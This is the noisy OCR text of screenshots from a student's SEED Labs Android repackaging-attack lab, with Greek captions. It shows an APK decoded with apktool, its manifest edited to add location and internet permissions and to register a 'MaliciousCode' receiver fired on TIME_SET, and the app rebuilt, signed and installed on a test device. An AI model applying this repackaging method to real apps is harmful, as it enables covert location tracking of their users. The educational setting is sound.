1 o l < Downloads
dd Music
-y
A Pictures
v Videos
E ) @ Trash
—_— Q? Network
[ computer
l'- B0 connectto server
x “RepackaginglLab.apk” selected (1.4 MB)

Ewova 6.2.7. To filepath ¢ epappoyng-otoyog
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Terminator ty B v 201am 1

/bin/bash

o /binfbash 66x24
[06/02/23]seed@VM:~/.../Scenario2$ apktool d RepackaginglLab.apk
I: Using Apktool 2.2.2 on RepackaginglLab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/seed/.local/share/apkto
01/framew0rk/1 apk
: Regular manifest package..
: Decoding file-resources.
: Decoding values */* XMLs...
: Baksmaling classes.dex...
: Copying assets and Llibs...
: Copying unknown files.

: Copying original flles
Bﬁ/ﬂZ/23]seed@VM ~/.. /Scenar102$ |

ty B o zo2am %
Q = m

it Home .
[ Desktop 2 2
_ MACOSX MaliciousCode RepackagingLab

[0 Documents Location
~» Downloads
dd Music

. RepackagingLab.
[&1 Pictures apk
' Videos
{@ Trash
@2 Network

Computer

Connect to Server

“RepackagingLab” selected (containing 5 items)

Ewéva 6.2.9. To folder RepackagingLab
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repackaging ty B o 203aM &

@ smali com mobiseed repackaging Q =
— it Home
* h Desktap = = =
= BuildConfig.smali HelloMobiSEED. R.smali
— [ Documents smali
<
! b’! +» Downloads
dd Music = = =
|+ 1 Pictures RSanim.smali RSattr.smali R$bool.smali
_ '@ Videos
.
E o L RScolor.smali RSdimen.smali RSdrawable.smali
pe—— ¢ Network
S RSid.smali RSinteger.smali RSlayout.smali
B Connectto Server

’_’@ RSmenu.smali RSmipmap.smali RSstring.smali

RSstyle.smali RSstyleable.smali

ty B ) 219aM %

<?xml version="1.0" encoding="utf-8" standalone="no"?=
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.mobiseed.repackaging" platformBuildVersionCode="23"
platformBuildVersionName="6.0-2166767">
uses-permission
uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/=>
uses-permission android:name="android.permission.ACCESS_MOCK LOCATION"
permission android:name="android.permission.INTERNET"
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop" android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter=>
<factivity>
<receiver android:name="com.mobiseed.repackaging.MaliciousCode" >
<intent-filter=
<action android:name="android.intent.action.TIME_SET" />
</intent-filter>
</receiver>
<fapplication=
</manifest>

XML ¥ Tabwidth:8 ~ Ln 6, Col 62 v INS

Ewova 6.2.11. TTpocsbnkn tov adeidv totobeciag ko Internet
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*AndroidManifest.xml (~/project4/Scenario2/RepackaginglLab) - gedit

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.mobiseed.repackaging" platformBuildvVersionCode="23"
platformBuildversionName="6.0-2166767">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS FINE_ LOCATION"/>
<uses-permission android:name="android.permission.ACCESS MOCK_LOCATION" /=
<uses-permission android:name="android.permission.INTERNET"/>
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop" android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@gstring/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar"=
<intent-filter=
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter=
</activity>
receiver android:name="com.mobiseed.repackaging.MaliciousCode" =
<intent-filter=
<action android:name="android.intent.action.TIME SET" />
</intent-filter>

</application=
</manifest>

XML ¥ Tabwidth:8 = Ln 18, Col 20 =3 INS

Ewoéva 6.2.12. Kataympnon tov BroadcastReceiver kot poOuion tov intent-filter yio to sopfav
«TIME SET»

Terminator

/bin/bash
m J/bin/bash 66x24
[66/02/23]seed@VM ~/.../Scenario2$ apktool b RepackaginglLab
Using Apktool 2.2.2
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building resources...
I.
I:
[

|_|

Building apk file..
Copying unknown flles/dlr
06/02/23]seed@VM:~/. . /Scenar102$ |

Ewéva 6.2.13. Avakatackevn tov apyeiov APK
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Terminator ty B o) 222am %+
= /bin/bash

il /bin/bash 66x24
[06/02/23]seed@M:~/.../dist$ keytool -alias dist -genkey -v -keys
tore mykey.keystore
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]: Vasilis Athanasiou
What is the name of your organizational unit?
[Unknown]: ITSeedLabs2023
What is the name of your organization?
[Unknown]: ITSeedLabs
What is the name of your City or Locality?
[Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate student
What is the two-letter country code for this unit?
[Unknown]: GR
Is CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedlLabs, L=Athen
s, ST=Undergraduate student, C=GR correct?
[no]: vy

Generating 2,048 bit DSA key pair and self-signed certificate (SHA
256withDSA) with a validity of 90 days

for: CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate student, C=GR

ty B o 222am %
/bin/bash
/bin/bash 66x24

[Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate student
What is the two-letter country code for this unit?
[Unknown]: GR
Is CN=Vasilis Athanasiou, OU=ITSeedlLabs2023, 0=ITSeedlLabs, L=Athen
s, ST=Undergraduate student, C=GR correct?
[no]: vy

——lGenerating 2,048 bit DSA key pair and self-signed certificate (SHA
256withDSA) with a validity of 90 days

for: CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate student, C=GR
Enter key password for <dist>

(RETURN if same as keystore password):
Re-enter new password:
[Storing mykey.keystore]

§

LS

The JKS keystore uses a proprietary format. It is recommended to m
igrate to PKCS12 which is an industry standard format using "keyto
ol -importkeystore -srckeystore mykey.keystore -destkeystore mykey
.keystore -deststoretype pkcsl2".

[06/02/23]seed@VM:~/. ../dist$ ]

Ewova 6.2.14. Anpovpyia tov {edyoug KAEWIDV
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Terminator ty B 0 223aM %
/bin/bash

B /bin/bash 66x24

[06/02/23] seed@VM:~/.../dist$ jarsigner -keystore mykey.keystore R

epackaginglLab.apk dist

Enter Passphrase for keystore:

jar signed.

Warning:

The signer certificate will expire within six months.
S ANo -tsa or -tsacert is provided and this jar is not timestamped. W
e i thout a timestamp, users may not be able to validate this jar aft
[——ler the signer certificate's expiration date (2023-08-31) or after
any future revocation date.
[06/02/23]seed@M:~/.../dist$ [}

Ewova 6.2.15. ¥nowokr vroypaen tov apyeiov APK

Computer

dist ty B o) 223aM 3%
@ firHome project4 Scenario2 Repackaginglab dist Lo TN 19 P
— 4 Home .

l‘ [ Desktop

= mykey.keystore RepackagingLab.
— [0 Documents apk
=4 .
-~ & Downloads
dd Music

-: A1 Pictures
* @ Videos
E ) @ Trash
pe——— 07 Network

]
f_) B connectto Server

“mykey.keystore” selected (2.0 kB)

Ewéva 6.2.16. To filepath tov yneiokod miotomomtikod e QaproyNc-6TdY0s
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Terminator L m 4)
] /bin/bash

L =g

[06/02/23]seed@VM:~/.../dist$ adb connect 10.0.2.4

* daemon not running. starting it now on port 5037 *

* daemon started successfully *

connected to 10.0.2.4:5555

[06/02/23]seed@VM:~/.../dist$ adb install RepackaginglLab.apk

13742 KB/s (1427160 bytes in 0.101s)

success

S8 [06/02/23] seed@VM:~/. ../dist$ i

2:25AM 't

Ewova 6.2.17. Eykoatdotaon g epoployns-otdyog oty pnyavi tov BOpatog

" A ADQ «> @ 8:20

€ App permissions

-
@ Repackaging Lab

E Contacts @

Ewéva 6.2.18. Evepyomoinon tov adeidv yia dwyeipion tov exaeov (Location avti yia Contacts)
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Ewovo 6.2.19. Aldayn Tng dpog yio TNV TPoyUaTtoroino g enifeong
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Simple Polylines - Mozilla Firefox 13 m 4) 2:50AM 1'%
- File Edit View History Bookmarks Tools Help
@ Simple Polylines A
z C @ www.repackagingattacklab.com e @ 2| B | =
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